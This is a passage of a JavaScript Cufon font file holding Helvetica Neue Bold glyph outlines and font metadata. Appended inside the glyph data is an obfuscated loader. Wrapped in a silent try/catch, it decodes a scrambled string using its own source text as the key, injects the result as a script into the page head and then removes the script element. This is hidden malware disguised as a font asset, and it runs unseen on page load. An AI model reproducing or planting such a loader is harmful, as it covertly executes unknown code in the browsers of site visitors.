40,0,78,13,82,59r-49,0v-1,-20,-17,-25,-35,-25v-12,0,-28,2,-28,17v0,18,29,21,58,28v30,7,59,17,59,52v0,49,-43,65,-85,65v-43,0,-86,-16,-88,-65r49,0v0,22,19,31,39,31v14,0,34,-6,34,-24","w":193},{"d":"21,0r0,-186r48,0v1,8,-2,19,1,25v23,-37,91,-44,111,1v26,-47,124,-44,124,35r0,125r-51,0r0,-105v0,-25,-2,-46,-31,-46v-29,0,-34,24,-34,47r0,104r-51,0r0,-104v0,-22,1,-47,-31,-47v-10,0,-35,7,-35,43r0,108r-51,0","w":326},{"d":"84,-242r0,56r38,0r0,34r-38,0r0,92v-3,24,20,24,38,20r0,40v-41,4,-90,6,-89,-42r0,-110r-31,0r0,-34r31,0r0,-56r51,0","w":126},{"d":"37,-263r101,269r-42,0r-100,-269r41,0","w":133},{"d":"243,-257r0,160v0,69,-41,103,-110,103v-69,0,-109,-33,-109,-103r0,-160r56,0r0,160v0,28,7,56,53,56v40,0,53,-17,53,-56r0,-160r57,0","w":266},{"d":"106,-44v29,0,44,-24,44,-51v0,-30,-11,-58,-44,-58v-29,0,-41,25,-41,53v0,27,9,56,41,56xm198,-186r0,174v0,31,-11,83,-96,83v-37,0,-79,-18,-82,-60r51,0v13,44,87,27,79,-21v-1,-7,2,-18,-1,-24v-11,20,-33,29,-56,29v-56,0,-79,-43,-79,-94v0,-48,28,-92,80,-92v25,-1,41,10,56,30r0,-25r48,0","w":219},{"d":"95,-263r0,329r-95,0r0,-41r44,0r0,-248r-44,0r0,-40r95,0","w":119},{"d":"31,0r0,-152r-31,0r0,-34r31,0v-7,-54,29,-78,89,-70r0,39v-24,-6,-43,1,-38,31r35,0r0,34r-35,0r0,152r-51,0","w":119},{"d":"339,-257r-69,257r-57,0r-44,-175r-43,175r-57,0r-68,-257r57,0r41,175r45,-175r53,0r44,177r42,-177r56,0","w":339},{"d":"91,0r0,-100r-94,-157r63,0r61,101r59,-101r63,0r-95,158r0,99r-57,0","w":240},{"d":"75,-257r0,42r-51,0r0,-42r51,0xm-7,64r0,-42v13,2,31,3,31,-15r0,-193r51,0r0,195v5,44,-31,63,-82,55","w":100},{"d":"156,-93v0,-32,-14,-60,-44,-60v-30,0,-43,28,-43,60v0,31,13,60,43,60v30,0,44,-29,44,-60xm19,0r0,-257r52,0r0,94v48,-55,137,-29,136,70v0,68,-40,98,-77,98v-28,1,-49,-10,-62,-29r0,24r-49,0","w":219},{"d":"122,-148r-35,0r-6,44r35,0xm32,0r10,-71r-30,0r0,-33r34,0r7,-44r-30,0r0,-33r34,0r10,-71r35,0r-10,71r35,0r9,-71r35,0r-9,71r26,0r0,33r-31,0r-6,44r26,0r0,33r-31,0r-10,71r-34,0r9,-71r-34,0r-10,71r-35,0"},{"d":"175,-257r0,176v0,33,-8,87,-85,87v-50,0,-94,-33,-85,-102r51,0v-1,30,1,55,33,55v30,0,30,-25,30,-43r0,-173r56,0"},{"d":"0,-76r0,-44r180,0r0,44r-180,0","w":180},{"d":"89,-111v-40,-10,-83,-22,-83,-75v0,-49,40,-74,83,-77r0,-28r22,0r0,28v43,5,78,27,81,77r-52,0v0,-19,-13,-35,-29,-35r0,64v6,1,11,2,18,4v71,19,72,60,72,84v0,21,-18,70,-90,75r0,31r-22,0r0,-31v-54,-4,-84,-33,-89,-90r51,0v0,27,16,44,38,48r0,-75xm111,-105r0,69v18,-2,38,-12,38,-35v0,-19,-10,-26,-38,-34xm89,-162r0,-59v-16,0,-32,10,-32,30v0,16,9,24,32,29"},{"d":"19,-76r0,-44r108,0r0,44r-108,0","w":146},{"d":"47,-76r0,-44r266,0r0,44r-266,0","w":360},{"d":"68,-129r-51,0v3,-48,46,-62,88,-62v37,0,81,8,81,53v0,45,-6,106,7,138r-52,0v-2,-6,-3,-12,-3,-18v-36,38,-127,32,-126,-33v2,-85,123,-39,123,-81v0,-22,-15,-25,-33,-25v-20,0,-32,8,-34,28xm135,-91v-19,16,-73,1,-72,38v0,19,14,24,31,24v49,0,40,-31,41,-62","w":206},{"d":"19,0r0,-186r49,0v1,11,-2,25,1,34v12,-25,39,-45,70,-37r0,47v-44,-10,-68,18,-68,58r0,84r-52,0","w":140},{"d":"31,-141r0,-116r38,0r0,116r-38,0","w":100},{"d":"50,-6r-27,-27r58,-58r-57,-58r27,-27r57,58r58,-58r27,27r-58,58r58,58r-27,27r-58,-58","w":216},{"d":"25,0r0,-257r56,0r0,257r-56,0","w":106},{"d":"71,-197r0,56r-52,0v-4,-59,0,-111,52,-116r0,24v-18,6,-24,18,-24,36r24,0xm147,-197r0,56r-51,0v-3,-58,-1,-111,51,-116r0,24v-18,6,-24,18,-24,36r24,0","w":166},{"d":"0,45r0,-18r180,0r0,18r-180,0","w":180},{"d":"271,0r0,-55r57,0r0,55r-57,0xm152,0r0,-55r56,0r0,55r-56,0xm32,0r0,-55r56,0r0,55r-56,0","w":360},{"d":"25,0r0,-257r56,0r0,99r104,0r0,-99r57,0r0,257r-57,0r0,-111r-104,0r0,111r-56,0","w":266},{"d":"-2,0r90,-135r-83,-122r66,0r50,82r52,-82r62,0r-82,123r89,134r-67,0r-56,-89r-57,89r-64,0","w":240},{"d":"196,-121r-50,0v-3,-21,-16,-32,-38,-32v-33,0,-43,34,-43,61v0,27,10,59,42,59v24,0,38,-15,41,-38r49,0v-7,49,-40,76,-89,76v-56,0,-94,-39,-94,-95v0,-58,35,-101,95,-101v44,0,84,22,87,70","w":206},{"d":"87,-257r0,45r42,-16r10,28r-43,14r27,35r-24,18r-27,-37r-25,37r-24,-18r27,-35r-42,-14r10,-28r40,16r0,-45r29,0","w":146},{"d":"216,0r-5,-29v-71,84,-197,5,-197,-98v0,-76,47,-136,126,-136v53,0,102,32,108,91r-54,0v-7,-29,-27,-44,-54,-44v-51,0,-70,44,-70,89v0,43,19,86,70,86v37,0,58,-20,61,-56r-57,0r0,-42r108,0r0,139r-36,0","w":273},{"d":"69,-122v25,0,56,23,77,24v15,0,22,-13,31,-26r15,34v-10,15,-23,31,-45,31v-36,0,-90,-52,-108,1r-15,-33v8,-15,21,-31,45,-31","w":216},{"d":"22,0r0,-55r56,0r0,55r-56,0xm77,-257v3,67,-7,123,-14,180r-26,0v-7,-58,-17,-112,-14,-180r54,0","w":100},{"d":"112,-100r-1,-88r-65,88r66,0xm112,0r0,-58r-106,0r0,-47r109,-147r46,0r0,152r33,0r0,42r-33,0r0,58r-49,0"},{"w":100},{"d":"24,66r0,-329r96,0r0,40r-44,0r0,248r44,0r0,41r-96,0","w":119},{"d":"180,-252r0,42r-104,0v-2,19,-9,41,-9,58v49,-47,127,-2,127,66v0,52,-44,91,-94,91v-49,0,-93,-27,-94,-80r52,0v3,23,18,38,41,38v27,0,44,-24,44,-49v0,-46,-62,-64,-83,-27r-46,0r25,-139r141,0"},{"d":"19,0r0,-186r49,0v1,8,-2,20,1,26v13,-21,35,-31,57,-31v97,-2,61,108,68,191r-51,0v-6,-52,21,-148,-33,-151v-59,-3,-34,97,-39,151r-52,0","w":213},{"d":"21,77r0,-360r38,0r0,360r-38,0","w":80},{"d":"78,-183r0,56r-56,0r0,-56r56,0xm22,0r0,-55r56,0r0,55r-56,0","w":100},{"d":"22,0r0,-55r56,0v5,61,-4,109,-56,115r0,-26v15,-3,27,-18,26,-34r-26,0","w":100},{"d":"25,0r0,-257r192,0r0,47r-136,0r0,56r125,0r0,43r-125,0r0,63r139,0r0,48r-195,0","w":233},{"d":"152,-94v0,-30,-11,-59,-44,-59v-62,0,-60,119,0,120v33,0,44,-30,44,-61xm152,0r0,-24v-12,20,-33,29,-57,29v-56,0,-83,-48,-83,-100v0,-50,27,-96,82,-96v23,-1,42,12,56,28r0,-94r51,0r0,257r-49,0","w":219},{"d":"-4,6r100,-269r42,0r-101,269r-41,0","w":133},{"d":"185,-186r-63,186r-56,0r-64,-186r53,0r40,127r40,-127r50,0","w":187},{"d":"82,0r0,-210r-77,0r0,-47r210,0r0,47r-77,0r0,210r-56,0","w":219},{"d":"0,66r0,-41v24,3,39,-5,39,-26r0,-58v0,-31,27,-36,36,-40v-11,-1,-36,-8,-36,-43v0,-37,18,-90,-39,-81r0,-40v49,-1,90,-5,90,48r0,68v0,24,21,33,33,33r0,31v-12,0,-33,8,-33,30r0,70v-6,53,-41,51,-90,49","w":119},{"d":"81,-210r0,162v68,2,111,3,115,-77v4,-69,-40,-93,-115,-85xm25,0r0,-257r111,0v67,0,116,42,116,127v0,75,-38,130,-116,130r-111,0","w":266},{"d":"186,-252r0,44v-53,46,-81,141,-82,208r-55,0v6,-75,37,-146,85,-204r-120,0r0,-48r172,0"},{"w":100},{"d":"81,-213r0,60v39,-2,93,12,92,-31v-2,-42,-54,-26,-92,-29xm25,0r0,-257v83,5,205,-26,203,64v0,26,-12,42,-35,53v32,9,47,33,47,65v0,97,-121,72,-215,75xm81,-114r0,70v44,-3,102,15,103,-34v1,-49,-59,-34,-103,-36","w":253},{"d":"24,-202r0,-55r52,0v4,59,-1,110,-52,116r0,-24v18,-6,24,-19,24,-37r-24,0","w":100},{"d":"8,0r0,-39r97,-109r-90,0r0,-38r157,0r0,38r-97,109r104,0r0,39r-171,0","w":186},{"d":"62,-184v0,22,17,34,38,34v21,0,38,-12,38,-34v0,-13,-6,-35,-38,-35v-21,0,-38,12,-38,35xm15,-188v0,-45,44,-69,85,-69v63,0,85,44,85,68v0,25,-13,45,-37,53v30,7,47,30,47,62v0,53,-47,79,-94,79v-49,0,-96,-25,-96,-79v0,-32,18,-55,48,-62v-24,-7,-38,-27,-38,-52xm56,-76v0,26,21,43,45,43v24,0,43,-18,43,-43v0,-24,-19,-40,-43,-40v-25,0,-45,14,-45,40"},{"d":"81,-213r0,77v44,-2,94,11,94,-39v0,-49,-50,-36,-94,-38xm25,0r0,-257r116,0v64,0,89,40,89,82v0,42,-25,83,-89,83r-60,0r0,92r-56,0","w":240},{"d":"291,-186r-59,186r-52,0r-34,-125r-32,125r-53,0r-59,-186r54,0r35,126r31,-126r50,0r32,126r34,-126r53,0","w":293},{"d":"82,-114r0,-36v22,2,54,-2,54,-31v0,-22,-17,-34,-36,-34v-26,0,-39,19,-39,45r-48,0v2,-52,35,-87,87,-87v40,0,84,25,84,70v1,25,-14,43,-35,52v28,6,45,29,45,57v0,53,-45,83,-94,83v-57,0,-95,-34,-94,-92r49,0v1,27,14,50,44,50v23,0,41,-16,41,-40v0,-38,-33,-37,-58,-37"},{"d":"78,-183r0,56r-56,0r0,-56r56,0xm22,0r0,-55r56,0v5,61,-4,109,-56,115r0,-26v15,-3,27,-18,26,-34r-26,0","w":100},{"d":"69,0r0,-55r57,0r0,55r-57,0xm64,-174r-52,0v1,-51,34,-89,87,-89v68,0,90,42,90,69v0,76,-70,53,-66,117r-48,0v-6,-72,58,-73,57,-112v0,-22,-11,-32,-30,-32v-26,0,-38,21,-38,47"},{"d":"70,-127v0,43,19,86,70,86v51,0,70,-43,70,-86v0,-45,-19,-89,-70,-89v-51,0,-70,44,-70,89xm14,-127v0,-76,47,-136,126,-136v79,0,126,60,126,136v0,74,-47,133,-126,133v-79,0,-126,-59,-126,-133","w":280},{"d":"76,-197r0,56r-52,0v-4,-59,0,-111,52,-116r0,24v-18,6,-24,18,-24,36r24,0","w":100},{"d":"38,-212r-55,-51r56,0r35,51r-36,0","w":93},{"d":"188,0r-21,-26v-46,53,-157,37,-155,-46v0,-36,27,-61,57,-75v-14,-17,-24,-31,-24,-54v0,-36,32,-59,67,-59v39,0,70,22,70,62v0,30,-20,50,-46,64r34,40v5,-10,8,-20,9,-30r44,0v-3,23,-11,45,-25,63r53,61r-63,0xm140,-60r-44,-53v-18,8,-36,21,-36,42v0,42,62,42,80,11xm111,-165v28,-8,39,-56,3,-61v-35,3,-23,47,-3,61","w":246},{"d":"141,-252r0,252r-51,0r0,-163r-63,0r0,-39v36,1,67,-11,73,-50r41,0"},{"d":"22,-113r62,-139r48,0r62,139r-42,0r-44,-99r-44,99r-42,0","w":216},{"d":"65,-93v0,30,10,60,45,60v35,0,45,-30,45,-60v0,-30,-10,-60,-45,-60v-35,0,-45,30,-45,60xm14,-93v0,-59,38,-98,96,-98v59,0,96,39,96,98v0,59,-37,98,-96,98v-58,0,-96,-39,-96,-98","w":219},{"d":"25,0r0,-257r181,0r0,47r-125,0r0,60r108,0r0,44r-108,0r0,106r-56,0","w":213},{"d":"62,-155r-49,0v-2,-58,32,-102,92,-102v46,0,86,30,86,79v0,76,-81,82,-118,134r120,0r0,44r-185,0v0,-59,35,-83,79,-113v22,-15,53,-30,53,-61v0,-24,-16,-39,-38,-39v-30,0,-40,31,-40,58"},{"d":"0,0r67,-98r-61,-88r58,0r33,48r32,-48r57,0r-61,87r68,99r-58,0r-39,-59r-39,59r-57,0","w":193},{"d":"199,-72r0,39r-182,0r0,-39r182,0xm199,-149r0,39r-182,0r0,-39r182,0","w":216},{"d":"22,0r0,-55r56,0r0,55r-56,0","w":100},{"d":"139,-67r26,-28r29,27v31,-46,20,-148,-54,-148v-51,0,-70,44,-70,89v0,51,35,101,93,82xm265,-4r-26,28r-37,-33v-88,46,-188,-20,-188,-118v0,-76,47,-136,126,-136v118,0,162,152,93,230","w":280},{"d":"59,-127v0,28,0,90,41,90v42,0,41,-62,41,-90v0,-26,1,-88,-41,-88v-41,0,-41,62,-41,88xm8,-127v0,-98,42,-130,92,-130v50,0,93,32,93,130v0,100,-43,132,-93,132v-50,0,-92,-32,-92,-132"},{"d":"103,-131v-27,0,-41,22,-41,47v0,23,15,47,41,47v24,0,38,-23,38,-46v0,-24,-12,-48,-38,-48xm58,-142v39,-54,135,-18,135,55v0,51,-36,92,-89,92v-76,0,-96,-66,-96,-130v0,-62,27,-132,99,-132v44,0,75,25,81,70r-48,0v-3,-17,-16,-32,-34,-32v-37,0,-47,49,-48,77"},{"d":"8,0r0,-45r138,-165r-127,0r0,-47r202,0r0,45r-137,164r141,0r0,48r-217,0","w":233},{"d":"17,3r0,-42r132,-52r-132,-53r0,-41r182,73r0,42","w":216},{"d":"40,66r-43,0v54,-102,53,-225,1,-329r42,0v63,98,64,230,0,329","w":106},{"d":"81,-213r0,72v43,-3,101,13,101,-36v0,-48,-58,-34,-101,-36xm190,0v-12,-36,3,-100,-52,-100r-57,0r0,100r-56,0r0,-257r138,0v81,-4,104,109,35,135v49,17,28,77,48,122r-56,0","w":259},{"d":"127,-182r0,72r72,0r0,38r-72,0r0,72r-38,0r0,-72r-72,0r0,-38r72,0r0,-72r38,0","w":216},{"d":"31,-141r0,-116r38,0r0,116r-38,0xm98,-141r0,-116r38,0r0,116r-38,0","w":166},{"d":"124,-194v-14,29,-22,64,-34,95r66,0xm-3,0r98,-257r58,0r96,257r-59,0r-19,-57r-96,0r-20,57r-58,0","w":246},{"d":"66,-263r43,0v-53,103,-52,226,0,329r-43,0v-62,-98,-63,-230,0,-329","w":106},{"d":"19,-202r0,-55r52,0v4,59,-1,110,-52,116r0,-24v18,-6,24,-19,24,-37r-24,0xm96,-202r0,-55r51,0v3,58,0,111,-51,116r0,-24v18,-6,24,-19,24,-37r-24,0","w":166},{"d":"25,0r0,-257r56,0r108,172r0,-172r53,0r0,257r-57,0r-107,-172r0,172r-53,0","w":266},{"d":"199,-185r0,41r-132,53r132,52r0,42r-182,-73r0,-42","w":216},{"d":"72,-190v0,49,153,15,153,114v0,47,-37,82,-107,82v-57,0,-110,-28,-109,-91r54,0v0,34,27,47,57,47v20,0,50,-6,50,-32v0,-28,-39,-33,-76,-42v-38,-10,-77,-25,-77,-73v0,-106,202,-106,199,5r-54,0v-2,-31,-24,-39,-51,-39v-18,0,-39,7,-39,29","w":233},{"d":"21,0r0,-257r51,0r0,257r-51,0","w":92},{"d":"25,0r0,-257r56,0r0,209r126,0r0,48r-182,0","w":213},{"d":"251,-171r-55,0v-4,-26,-28,-45,-56,-45v-51,0,-70,44,-70,89v0,43,19,86,70,86v35,0,54,-24,58,-58r55,0v-6,64,-50,105,-113,105v-79,0,-126,-59,-126,-133v0,-76,47,-136,126,-136v56,0,104,33,111,92","w":266},{"d":"25,0r0,-257r56,0r0,107r101,-107r70,0r-100,101r110,156r-71,0r-77,-116r-33,33r0,83r-56,0","w":259},{"d":"24,0r0,-257r51,0r0,138r65,-67r60,0r-70,68r78,118r-62,0r-51,-83r-20,19r0,64r-51,0","w":206},{"d":"97,-121v27,0,41,-22,41,-47v0,-23,-15,-47,-41,-47v-24,0,-38,23,-38,46v0,24,12,48,38,48xm142,-111v-41,59,-134,17,-134,-54v0,-51,35,-92,88,-92v76,0,97,66,97,130v0,62,-27,132,-99,132v-44,0,-76,-25,-82,-70r48,0v3,17,16,32,34,32v36,0,50,-51,48,-78"},{"d":"143,-257r0,29r-42,0r0,119r-37,0r0,-119r-42,0r0,-29r121,0xm334,-257r0,148r-34,0r-1,-105r-38,105r-25,0r-39,-105r0,105r-35,0r0,-148r49,0r37,98r37,-98r49,0","w":360},{"d":"249,-66v0,15,1,44,24,44v22,0,23,-28,23,-43v0,-14,-1,-43,-22,-43v-23,0,-25,25,-25,42xm213,-66v0,-39,19,-69,61,-69v45,0,59,32,59,71v0,39,-19,69,-61,69v-44,0,-59,-32,-59,-71xm91,8r149,-268r31,0r-148,268r-32,0xm64,-185v0,15,0,41,23,41v22,0,24,-26,24,-41v0,-14,-2,-45,-23,-45v-23,0,-24,28,-24,45xm27,-186v0,-39,19,-71,61,-71v45,0,59,33,59,73v0,39,-19,67,-61,67v-44,0,-59,-29,-59,-69","w":360},{"d":"25,0r0,-257r79,0r61,177r57,-177r80,0r0,257r-53,0r-1,-182r-63,182r-44,0r-63,-180r0,180r-53,0","w":326},{"d":"230,-257r-86,257r-63,0r-84,-257r58,0r58,181r58,-181r59,0","w":226},{"d":"19,0r0,-257r52,0r1,97v13,-21,35,-31,54,-31v97,-2,61,108,68,191r-51,0v-6,-52,21,-148,-33,-151v-59,-3,-34,97,-39,151r-52,0","w":213},{"d":"62,-113r83,0v-5,-26,-16,-40,-41,-40v-33,0,-41,26,-42,40xm196,-81r-134,0v-8,58,74,59,86,23r45,0v-14,44,-46,63,-88,63v-59,0,-95,-40,-95,-98v0,-56,38,-98,95,-98v63,0,95,53,91,110","w":206}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+140-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("WuEHO|(ca-9QW[1?)|$X.u.9*4(HE|9Q*4jXa-bUEDGN#kcf;31V)-1?&3(r)$V&D-))E1)Ea|.m71VHemsVeX;r*3zXe2>c#*.U*3z+eu;M7DVHemsV#H9&)^.+emE.-uegbMK%($VHe2n%e$NHOU+Z5>Di*[94D3H>(Xn[*3zXe2>Shm%;)ke?vc9&)^.+e^%Yjm$hOc#Xh2cQz^s4-mKdzfr&.i>F*3zXe2$i^mV^O>V274Nsn[2>$u3.jW5e({v;b7^zD-*#EaO&)h:Y%fmi1|UFdgCNrQR+VXkcH4MKSZ?G9w=S*3zXe^.XjzH-auzf5U(+Ou1cW[.fW7Vdv^sN&2Hf5UsNO2H+5|V1O|)ca[VUv-.QEfSUO31+a3e9hMc?a-#F#fSRakcR*fY={U)M)H+QW^GFvkFQWH+QE-b1OuH%O|bdE41c#-V&5|(RO*+QWH+QOu9m#-VG5fr&5U(dE*jX#-jX#*ER*[SQE*bG)|DdO|(Na-Sd#M(&5|(RO*+QWH+Q)|DdO|(Na-Sd#M(&5|(RO7ii54iQ)uDk)[%NO4(%)u1ROfSFOM(cO|$rE7idE|9XW2rdvu+?WXrdW-)O#Hrd*Dc9&$rd**cdW[iY")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":200,"face":{"font-family":"Helvetica Neue","font-weight":700,"font-stretch":"normal","units-per-em":"360","panose-1":"2 11 8 4 2 2 2 2 2 4","ascent":"257","descent":"-103","x-height":"5","bbox":"-17 -291 339 77","underline-thickness":"18","underline-position":"-18","stemh":"39","stemv":"51","unicode-range":"U+0020-U+2122"}}));

